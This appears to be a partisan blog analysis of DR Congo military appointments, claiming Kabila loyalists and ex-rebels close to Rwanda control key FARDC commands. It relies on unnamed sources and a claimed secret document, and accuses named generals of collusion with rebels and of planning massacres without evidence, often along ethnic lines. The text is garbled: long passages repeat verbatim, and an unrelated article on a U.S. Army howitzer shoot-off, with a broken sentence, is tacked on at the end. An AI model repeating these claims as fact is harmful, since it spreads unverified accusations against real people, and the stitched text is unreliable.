By appointing Major General Franck Buamunda Tunda as head of the Head of State’s military house and at the same time the President’s personal chief of staff, Tshisekedi tries to free himself from the kabalist entourage which suffocated him in within this structure detached from the army attached to the Presidency of the Republic. The legal powers of the head of the head of state’s military house are such that the Republican Guard (GR) is placed under his functional authority. However, the GR remains mainly made up of Katangese soldiers, including its current commander, Christian Tshiwewe. According to a top secret document received from the FARDC General Staff, more than 70% of the new commanders of different GR units and services are of Katangan origin. There are some new commanders of Kasai origin, the ethnic group of President Tshisekedi. Which is not enough, in our opinion, to reverse the balance of power in favor of Tshisekedi. Note also that most elements of the GR and their current commanders were recruited by John Numbi.Ofcourse,he had played a very large role in the creation of the GSSP. The current core of officers who make up the spearhead of the GR (Republican Guards)are all mostly former GSSP. They were trained at the Mura military training center in Katanga by commando training provided by the North Koreans. Most of these young people are Balubakat. Since then, it is this nucleus of officers and non-commissioned officers who is in command of the current troops of the GR(Republican Guard).

General Franck Buamunda Tunda replaces Major General Jean Claude Yav Kabej . The latter becomes number two in the FARDC because appointed to the very strategic post of the FARDC Deputy Chief of Staff in charge of operations and intelligence, replacing General Amisi Tango Four.General Buamunda Tunda is a former Civil Guard who joined Jean-Pierre Bemba’s MLC rebellion. He also evolved as head of the military security department in military intelligence. He was close to the late General Kahimbi, the former head of military intelligence. General Tunda Buamunda is also a member of the National Security Council (CNS) headed by François Beya with whom he shares the same Lulua tribal origin of Kasai-Central and with which he is very close. He notably participated in the last hearing of Delphin Kahimbi a few hours before the latter’s death.

The three Defense Zones are also in hands of Kabila's men.

It should be mentioned that a Defense Zone is an inter-force territorial entity in which land, air and naval units operate under a single command. The First Defense Zone encompasses the city of Kinshasa and the former administrative provinces of Bandundu, Bas-Congo and Equateur. The Second Defense Zone includes the former administrative provinces of Kasaï-Occidental, Kasaï-Oriental and Katanga. The Third Defense Zone, which includes the administrative provinces of Maniema, North Kivu, South Kivu and the former Province Orientale.

The Lieutenants- Generals: Johnny Nkashama Luboya (commander of the first defense zone), the Munyarwanda /”Munyamulenge” Pacific Masunzu(commander of the Second Defense Zone) and Philemon Yav Irung , known as ” the Katanga tiger"(commander of the third defense zone), are generals reputed to be very close to Joseph Kabila. Several sources of military intelligence and operational units describe them as “Kabila’s henchmen “.

In the First Defense Zone, Lieutenant General Johnny Nkashama Luboya(he was the deputy commander of the logistics base. He graduated from EFO-Kananga and evolved within the 21st FAZ infantry brigade as S3 (in charge of operations and training). This unit, led at the time by the late General Joseph Nsau, had rallied the AFDL during the capture of Lubumbashi. Nsau is close to retired general Jean-Pierre Ondekane. In the AFDL, he was very close to the Rwandans, particularly to Rwandan General James Kabarebe. During the period when James Kabarebe was the CAF Chief of General Staff, Johnny Luboya was the commander of the Q Defense Battalion. Before the start of the second war of aggression from August 2, 1998, Luboya was appointed commander of the FAC battalion stationed in Walikale where he joined the RCD-Goma. In the RCD, he lead with General Amisi the department (T4) of the logistics of the RCD-Goma rebellion)is assisted by Major General Christian Ndaywel (for operations and intelligence) and by Brigadier General Dieudonné Kiamasa (administration and logistics). Major General Mpuza Chief of Staff of this defense zone which remains strategic because it is supposed to ensure the security of the rebellious capital Kinshasa. General Luboya Nkashama’s profile indicates that he is a former rebel of RCD-Goma, close to General Amisi Tango Four and Rwandan General James Kabarebe who already held the same position under Kabila until July 2018.

In the Second Defense Zone, Lieutenant General Pacifique Masunzu(    General “Munyamulenge” Pacifique Masunzu, is a former AFDL rebel who later distinguished himself in the armed struggle against RCD-Goma in South Kivu alongside General Antoine Padiri Bulendwa. The Mai-Mai forces of Padiri and the Tutsi Banyamulenge militias of Masunzu fought together the RCD-Goma rebellion during the second war of aggression (1998-2002,however many people in Kivu know General Masunzu as a lover of his Homeland DRC who can never any foreigners to take over the administration of DRC)is assisted by Generals Jacques Nduru Itshalingoza (operations and intelligence) and Freddy Kalume (administration and logistics), son of General Denis Kalume, not having attended any training center or training after his entry into the army as an officer (captain). Freddy Kalume owes his meteoric military rise to Kabila, whose entertainment companion he was in their downtime. The sulphurous General Jacques Nduru Itchangoliza is a former UPC rebel of Thomas Lubanga and Bosco Ntaganda. He is indexed to be one of the planners of the Beni massacres. Before taking up his post in Beni, Brigadier General Jacques Itshalingoza Nduru was the commander of operations Sukola 2 which unsuccessfully tracks down the Rwandan rebels of the FDLR in the small north of the province of North Kivu. The passage of General Itshangoliza in the various military sectors was often accompanied by an astonishing outbreak of violence and massacres of local populations. Is it in anticipation of the potential conflicts that are germinating in Grand Katanga? Greater Katanga remains a strategic fallback area for Joseph Kabila in the event of loss of political ground in Kinshasa. Especially since shortly before Tshisekedi’s investiture, Kabila had taken care to transfer the heavy weapons stored in Kibomango, in Mbakana, at the Palace of the Nation to the military installations of Katanga (Manono, Kambove, Lubumbashi, Kamina, Kalemie and Kasenga) and Maniema ( Lokando ) with the help of Russian experts who brought in a fleet of Ilyushin 76 Candid , Antonov An-124 Ruslan ‘Condor’ and Antonov An-225 Ruslan transport planes.

In the Third Defense Zone, the Katangese Lunda, loyal among the generals most loyal to Joseph Kabila, Lieutenant-General Philémon Yav is notably assisted by Rwandan- speaking General Innocent Gahizi, as Chief of Staff. Near Rwanda and Kabila, General Gahizi was previously Deputy Commander for Operations and information to the 34th Military Region (North Kivu) in Goma. He is a former officer of the rebellions created by Rwanda, RCD-Goma and CNDP. He maintained a close relationship with M23 officials.

Was the transfer of meticulous officers a strategic plan to frustrate them?

Without requiring the Head of State to create a new army and to appoint his own generals, there are, however, good officers and unit commanders within the FARDC. Unfortunately, we note with astonishment that they are displaced from their units where they evolved with efficiency to be appointed to administrative posts while generals suspected of collusion with the rebels are appointed in areas of the massacres. This is the case of Brigadier General Evariste Somo Kakule, former commander of the 31th rapid reaction brigade based in Kindu. This unit formed thanks to Belgian military cooperation is considered to be the best current unit of the FARDC. Recently, the unit was deployed in Beni and began to achieve positive results on the ground, restoring confidence with the local populations by building agricultural feeder roads. Surprisingly, General Evariste Somo, despite his performance in the field, did not benefit from a promotion in rank. This commando general, licensed in law and patented staff, one of the best generals of the FARDC, becomes deputy commander in charge of administration and logistics in second of the 22nd military region (Katanga) in Lubumbashi. He will assist the new commander of this region, the economic lung of the DRC, Major General Smith Gihanga. A Tutsi from North Kivu (Rwandan ?) And former rebel of RCD-Goma and CNDP.  

Brigadier General BEM, Commando and lawyer Evariste Somo Kakule. Former commander of the 31nd rapid reaction brigade, appointed to an administrative function in the 22nd military region in Katanga.

I can also cite Major General Ir André Matutezulwa. A graduate of the Royal Military School, Matutezulwa commanded the Kitona military base with satisfaction. To the surprise of military observers, he was appointed chancellor of national orders. He was replaced there by the Kabilist, Lieutenant – General Gaston Hughes Ilunga Kampete. This Katangan Mulubakat from Tanganyika province is a former DSP armored squadron commander under Mobutu. He also led the intervention force of the GR, whose action was decisive during the final assault on the M23 in 2013. He is a general who was greatly appreciated by the troops of the GR[15] which he led between November 2014 and April 2020. Ilunga Kampete is also part of the clique of generals described as “Katangan extremists” who actively campaigned for a total lockdown of the security apparatus by the nationals of Katanga. He is a general who never ceased to show absolute loyalty and allegiance to Kabila. Like Numbi and Amisi, General Ilunga Kampete is also under sanctions from the European Union, Switzerland and the United States.

Strategic FARDC outposts in hands of Kabila's men!

Lieutenant General Sikabwe Asinda Fall leaves the 34th military region in North Kivu and became the Chief of Staff Land Force after being recalled to Kinshasa to suspicions of premiums misappropriation military forehead. General Fall Sikabwe is a Bembe from South Kivu loyal to Kabila who was on the MONUSCO red list in 2015 when he had just been appointed commander of Operation Sokola 1 against the alleged ADF. The MONUSCO was then suspended cooperation with the FARDC, accusing him of serious allegations of violations of rights human. General Fall Sikabwe was also the commander of the Land Force Staff HQ battalion when Joseph Kabila was the Land Force Chief of Staff. It is therefore a faithful companion of Kabila who inherits this very strategic position insofar as the land army comprises 3/4 of the strength of the Congolese army. He replaces General Isidore Kahungu Yankole who became Secretary General for Defense.

Another general considered close to Kabila who takes command of a strategic army service is Major General Juvénal Ngoy Kazimoto. This Bembe from South Kivu becomes the commander of the central logistics base of the FARDC. Kazimoto was Joseph Kabila’s logistics assistant when the latter was chief of staff of the land force. He subsequently served alongside Kabila as head of the planning department, then as head of the logistics department at the Kabila military house between 2002-2016. Logistics is a very important factor in the articulation of modern armies.

The Katangese lieutenant-general Jean-Claude Kifwa known as “Tango-Tango ”, a companion of the Kabila since the AFDL, the commander of the other strategic base of Kamina at the moment when the United States wants to make it  one of its bases for the deployment of AFRICOM forces, arousing the reluctance of Joseph Kabila.

Thus with two main military bases Kitona (commanded by Lieutenant-General Ilunga Kampete) and Kamina in the hands of general officers close to Kabila, but also the strategic operational reserve bases of the GR of Kibomango and Mbakana controlled by another affiliated Katangese, Brigadier General Klein Yav Nawej, one can advance until proof to the contrary that Joseph Kabila locks the military device of the FARDC in his favor. By having control of Kibomango in the east of the capital and of Kitona in the west of Kinshasa, Kabila is strategically positioned to take Kinshasa in pincers in the event of armed conflict with Tshisekedi. The presence of General Ilunga Kampete in Kitona also aims for Kabila to have an eye on Angola, which he suspects of supporting Tshisekedi diplomatically. Note that the main armored base of the FARDC is located in Mbanza-Ngungu, not far from Kitona.

 Should ex-rebels supported by Rwanda and deemed close to Kabila worry Tshisekedi?

The appointments indicate a comeback of Rwandans and Rwandophones from the pro-Rwandan ex-rebellions of RCD-Goma, CNDP and M23 to strategic command and intelligence/operations posts of large FARDC units. Intelligence is the heart of war. This is the case of General Obed Wabasira Ruyumbu, appointed Deputy Chief of General Staff of the FARDC in charge of operations. This Rwandan subject whose parents and siblings live in Rwanda has evolved within the rebellions of RCD-Goma and CNDP. Obed Wabasira is a general very close to the Rwandan general James Kabarebe. It was he who led the attack operations on the city of Bukavu in 2004 with Jules Mutebusi. He is also one of the persons in charge of the operations of repression of the revolt of Kamuina Nsapu in the Kasaï-Central space.

The case of the Rwandophone general Chirimwami ,commander of the Grand Nord operational sector in Beni is intriguing. This general, former right-hand man of General Kahimbi and close to Tango 4, according to several military sources, collaborated with the alleged ADF. He was the intelligence officer (T2) in 2012, first when the FARDC soldiers and the region commander Vainqueur Mayala were stranded by the M23 in July in Bunagana before fleeing to Uganda following bad intelligence provided to troops. He will do it again in November 2012 when the M23 entered Goma, after the FARDC had been asked to retreat…

At the 14th Military Region, which covers the city province of Kinshasa, the Brigadier General Hugo Ilondo Ifondo. Who is appointed the deputy commander in charge of operations and intelligence. Ilondo is a former RCD-Goma rebel who participated in the attempted occupation of the Kitona base in August 1998.

Regarding the Numbi case, nothing seems to be won in advance for President Tshisekedi in the face of this general who declared not to give himself up like a lamb. We should remain very careful and avoid falling into a naive triumphalism as when General Ilunga Kampete had been replaced at the head of the GR, but who came back in force,Kampete is commander of the very strategic base of Kitona in more than one capacity, particularly in favor of Kabila. . The replacement of Numbi does not yet mean his final sidelining from the army. He still maintains his second operational function as Chief of the Forward Staff in the East. In addition, John Numbi, relieved of his official functions, as between 2010 and 2018, can now relocate freely in Katanga, where he had installed the security device in 2015 to neutralize the network of influence of Katumbi, to coordinate and follow quietly. the clandestine operations of these parallel military forces (the Simba and Cobras battalions),    The Simba Battalion, a battalion made up at the time only of former Air Force soldiers – Numbi was the Chief of Staff of the Air Force before becoming the Chief of the Congolese National Police – united within the PIR to form an Anti-Terrorist Unit. The Cobra Battalion (11th Battalion of the PIR: Rapid Intervention Police) was made up of elements of the official Anti-Terrorist Unit. If officially these units are supposed to be dissolved, military sources say that they remain a sort of strategic reserve of Numbi for the benefit of Kabila and still keep intact their capacity for nuisance in the event of open conflict against Kabila or Numbi. The elements of these two battalions had committed massacres of the followers of Bundu Dia Kongo (in Bas-Congo) between February and March 2008 and were not really disarmed.General John Numbi is more dangerous without a function than with an official function with limited skills where he can be monitored and controlled. After the destabilization of the country, it is concerned that the Second Defense Zone and the 22th Military Region in Katanga are under command of the rebel Tutsi former general close to the Rwandan general James Kaberebe. This augurs well for a plan to destabilize this former mining province, which is strategic for the Congolese economy. Everything suggests that President Tshisekedi would let the regional security agenda dictate by Kabila and Kagame, whose special units he has allowed to deploy in North and South Kivu since June 2019.

Another point of satisfaction for those close to the president is the reorganization of his particular staff within his military house. The replacement of General Jean-Claude Yav Kabej, patented kabilist, by a new head of the Head of State’s military house could stimulate a new positive military strategic dynamic around President Tshisekedi. This could counterbalance a little the balance due to the fact that the general staff, the general inspectorate of the armies and the defense zones are locked by generals labeled close to Joseph Kabila especially as the careful analysis of the profiles of the promoted generals give almost irrefutable indications of a strengthening of the influence of Joseph Kabila within the armed forces. A sector of the Kabila – Tshisekedi deal which must remain in Kabila’s hands according to their secret agreements. Deprived of diplomatic and popular support, despite its weight on the institutions of the DRC, the withdrawal of Joseph Kabila from power made him lose a certain political legitimacy. Kabila’s possible return to the forefront of the political scene could be facilitated by activating his powerful relays in the military and security apparatus, but also by attempting to control the CENI(the national electrol commission) and the Constitutional Court.

I cannot sum up all this minus making you remember ,the once most feared man in DRC,the long time and longest serving military intelligence chief in DRC,General Kalev Mutond.He is very very quiet as of now,but he is the most dangerous officers Tshisekedi must be careful of.

Regarding the Numbi case, nothing seems to be won in advance for President Tshisekedi in the face of this general who declared not to give himself up like a lamb. We should remain very careful and avoid falling into a naive triumphalism as when General Ilunga Kampete had been replaced at the head of the GR, but who came back in force,Kampete is commander of the very strategic base of Kitona in more than one capacity, particularly in favor of Kabila. . The replacement of Numbi does not yet mean his final sidelining from the army. He still maintains his second operational function as Chief of the Forward Staff in the East. In addition, John Numbi, relieved of his official functions, as between 2010 and 2018, can now relocate freely in Katanga, where he had installed the security device in 2015 to neutralize the network of influence of Katumbi, to coordinate and follow quietly. the clandestine operations of these parallel military forces (the Simba and Cobras battalions),    The Simba Battalion, a battalion made up at the time only of former Air Force soldiers – Numbi was the Chief of Staff of the Air Force before becoming the Chief of the Congolese National Police – united within the PIR to form an Anti-Terrorist Unit. The Cobra Battalion (11th Battalion of the PIR: Rapid Intervention Police) was made up of elements of the official Anti-Terrorist Unit. If officially these units are supposed to be dissolved, military sources say that they remain a sort of strategic reserve of Numbi for the benefit of Kabila and still keep intact their capacity for nuisance in the event of open conflict against Kabila or Numbi. The elements of these two battalions had committed massacres of the followers of Bundu Dia Kongo (in Bas-Congo) between February and March 2008 and were not really disarmed.General John Numbi is more dangerous without a function than with an official function with limited skills where he can be monitored and controlled. After the destabilization of the country, it is concerned that the Second Defense Zone and the 22th Military Region in Katanga are under command of the rebel Tutsi former general close to the Rwandan general James Kaberebe. This augurs well for a plan to destabilize this former mining province, which is strategic for the Congolese economy. Everything suggests that President Tshisekedi would let the regional security agenda dictate by Kabila and Kagame, whose special units he has allowed to deploy in North and South Kivu since June 2019.

Another point of satisfaction for those close to the president is the reorganization of his particular staff within his military house. The replacement of General Jean-Claude Yav Kabej, patented kabilist, by a new head of the Head of State’s military house could stimulate a new positive military strategic dynamic around President Tshisekedi. This could counterbalance a little the balance due to the fact that the general staff, the general inspectorate of the armies and the defense zones are locked by generals labeled close to Joseph Kabila especially as the careful analysis of the profiles of the promoted generals give almost irrefutable indications of a strengthening of the influence of Joseph Kabila within the armed forces. A sector of the Kabila – Tshisekedi deal which must remain in Kabila’s hands according to their secret agreements. Deprived of diplomatic and popular support, despite its weight on the institutions of the DRC, the withdrawal of Joseph Kabila from power made him lose a certain political legitimacy. Kabila’s possible return to the forefront of the political scene could be facilitated by activating his powerful relays in the military and security apparatus, but also by attempting to control the CENI(the national electrol commission) and the Constitutional Court.

I cannot sum up all this minus making you remember ,the once most feared man in DRC,the long time and longest serving military intelligence chief in DRC,General Kalev Mutond.Katangese man, he began his career as a simple intelligence agent, sitting on a bench in front of the United States Embassy in Kinshasa, and writing the identity of visitors in a notebook.In 1996, he joined the ranks of the Alliance of Democratic Forces for the Liberation of Congo (AFDL), Laurent-Désiré Kabila’s rebellion.It was in the ranks of the rebels that Kalev Mutond met Joseph Kabila.An clos of the latter (some members of the People’s Party for Reconstruction and Democracy (PPRD) even attribute him with a pioneering role in the creation of the ruling party), he has remained in the first circle of the former president, to whom he often asserts his loyalty.Director of Internal Security at the National Intelligence Agency (NIA) since 2007, he became its deputy head in October 2011, and remained there for nearly eight years – longer than his seven predecessors.He was replaced in 2019 by his deputy, Inzun Kakiak.“Jovial” and “hard-working” for some, “brutal” and “repressive” for others, Mutond was for a long time one of the most feared men in the country, particularly by civil society movements such as Filimbi and La Lucha, whom he readily described as “terrorists”.

In 2017, after the United States adopted a series of sanctions in which he was targeted, the European Union was reluctant to follow suit.Some diplomats accused France of wanting to preserve a key interlocutor in the run-up to the elections, which Paris has always denied.

In May 2017 Brussels decided to place him under sanction. In total, 15 people close to Kabila — some politicians but mostly generals -— were singled out. The reasons put forward were the obstruction of the electoral process and human rights violations.On 18 January 2019, as the African Union contested Felix Tshisekedi’s victory, he travelled to Kigali with Paul Kagame, the organisation’s current president to prepare the way. The Rwandan head of state was due to lead an AU mission to Kinshasa three days later, but after Mutond’s visit, the trip was cancelled, and the elections were validated.

In early 2019, there were rumours he was planning to run for governor of Lualaba, a wealthy province that emerged from the dismantling of Greater Katanga in 2015.

Since Kabila’s departure he has worked as a political adviser to Sylvestre Ilunga Ilunkamba, the  appointed Prime Minister.It was in this capacity that he travelled to Ethiopia,and when he came back he passes via Entebbe,Uganda where DRC alleged that he met M23 Leaders in kampala,when he returned to  Kinshasa he was immediately arrested in mid February.There was no official order appointing Mutond to this office.

Mutond is accused of having links with the former M23 rebels and of wanting to destabilise the state institutions a thing he denied,and M23 distancing itself from such allegations.He has been banned from leaving the country and his diplomatic passport has been withdrawn.He contested these accusations and was supported by Kabila’s coalition, the Front Commun pour le Congo (FCC).

In terms of security, there is nothing to suggest that the FARDC appointments effectively respond to the security challenges(excerbated by the political tension between FCC and CASH)of the moment in a country facing almost generalized insecurity and where up to seven armies from neighbouring countries are operating. The control of large army units by generals from former rebellions who have already operated in the same conflict zones without success raises fears of maintaining the status quo unfavorable to the DRC. Most of these generals were indexed for acts of active and/or latent complicity with local armed groups and rebellions supported by foreign countries. However, within the FARDC, there is a new generation of competent, honest and patriotic officers who positively distinguish themselves in operations. Unfortunately, the new political and military authorities prefer to put them aside for unacknowledged reasons.

In terms of security, there is nothing to suggest that the recent developments effectively respond to the security challenges of the moment in a country facing almost generalized insecurity and where seven armies from neighbouring countries are operating. The control of large army units by generals from former rebellions who have already operated in the same conflict zones without success raises fears of maintaining the status quo unfavorable to the DRC. Most of these generals were indexed for acts of active and/or latent complicity with local armed groups and rebellions supported by foreign countries. However, within the FARDC, there is a new generation of competent, honest and patriotic officers who positively distinguish themselves in operations. 

Israeli, Serbian, And Swedish Self-Propelled Howitzers Are to participate in the U.S. Army new Howitzer Competition

 

SELF-PROPELLED HOWITZER DESIGNS FROM ISRAEL, SERBIA, AND SWEDEN, AS WELL AS AMERICAN MODELS, WILL TAKE PART IN A U.S. ARMY SHOOT-OFF AT YUMA PROVING GROUND IN ARIZONA EARLY NEXT YEAR. THE SERVICE IS LOOKING FOR NEW MOBILE ARTILLERY PIECE FOR ITS BRIGADES EQUIPPED WITH STRYKER WHEELED ARMORED VEHICLES, WHICH ARE PRESENTLY EQUIPPED WITH TOWED 155MM M777 HOWITZERS.

The Army wants a wheeled howitzer that can keep up with its Stryker units, so the Israeli firm is shipping its 8x8 ATMOS gun to Yuma, where it’ll fire “hundreds of rounds.”

US Army soldiers will get to fire their Israeli counterparts’ newest howitzer early next year, when the Elbit ATMOS participates in a shoot off alongside rival guns. The weapon is already in service with the Israeli Defense Force and other nations; this will be its American debut.

All the competitors are 155mm howitzers mounted on trucks – typically six or eight-wheeled – and it’s an increasingly crowded field. While the Army isn’t announcing which companies have won contracts to come to the shoot off, there are reports of at least three other Army-approved competitors:

• AM General, maker of the iconic Humvee, is offering the Brutus  boasting a unique recoil-reduction system (built by Mandus Group) that lets them mount the gun on a relatively lightweight truck. (They already put a lighter  is a brand-new system not in service with any army.

• BAE Systems, which builds the M2 Bradley and other heavy armored vehicles, is offering the Archer, built by its Swedish branch and already in service with the Swedish army.

• Global Military Products is offering a Serbian gun, the Yugoimport NORA. We frankly don’t know much about this one.

• And now there’s the Israeli ATMOS. Elbit, an up-and-coming company in Israel, is specifically bringing the same 8×8 configuration used by the Israeli Defense Force, nicknamed “Iron Sabre.”

Why so many foreign systems? Well, a wheeled self-propelled howitzer is something a lot of other armies use, but the US military hasn’t wanted until now. Many other nations – Russia, France, and Israel itself come to mind – rely heavily on wheeled armored fighting vehicles, which are generally much cheaper to buy and maintain than tracked ones.

The US Army’s heavy armored units, however, have long disdained wheeled armor and equipped themselves exclusively with tracked ones, even in supporting roles, because tracked machines can carry much more weight – especially armor – and move better over rough terrain. The Army is currently both modernizing its M109 Paladin howitzers and testing a next-generation Extended Range Cannon Artillery (ERCA) system, both heavy tracked machines built by BAE.